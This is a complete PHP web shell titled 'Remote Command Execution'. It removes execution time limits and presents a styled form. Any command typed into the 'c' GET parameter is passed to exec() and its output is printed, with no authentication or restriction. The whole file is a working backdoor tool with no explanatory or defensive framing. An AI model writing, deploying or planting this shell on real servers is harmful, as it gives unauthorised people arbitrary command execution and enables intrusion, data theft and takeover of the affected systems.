<?php
@ini_set('max_execution_time', 0);
@set_time_limit(0);
?>
<!DOCTYPE html>
<html>
<head>
    <title>System Shell</title>
    <style>
        body { background-color: #1e1e1e; color: #d4d4d4; font-family: monospace; padding: 20px; }
        input[type="text"] { width: 70%; padding: 8px; background: #2d2d2d; color: #fff; border: 1px solid #444; }
        input[type="submit"] { padding: 8px 15px; background: #007acc; color: #fff; border: none; cursor: pointer; }
        pre { background: #252526; padding: 15px; border: 1px solid #333; overflow-x: auto; }
    </style>
</head>
<body>
    <h2>Remote Command Execution</h2>
    <form method="GET">
        <input type="text" name="c" autofocus placeholder="Enter command (e.g., whoami)..." value="<?php echo isset($_GET['c']) ? htmlspecialchars($_GET['c']) : ''; ?>">
        <input type="submit" value="Execute">
    </form>
    <pre><?php
    if (isset($_GET['c']) && !empty($_GET['c'])) {
        $cmd = $_GET['c'];
        $output = array();
        exec($cmd . " 2>&1", $output);
        echo implode("\n", $output);
    }
    ?></pre>
</body>
</html>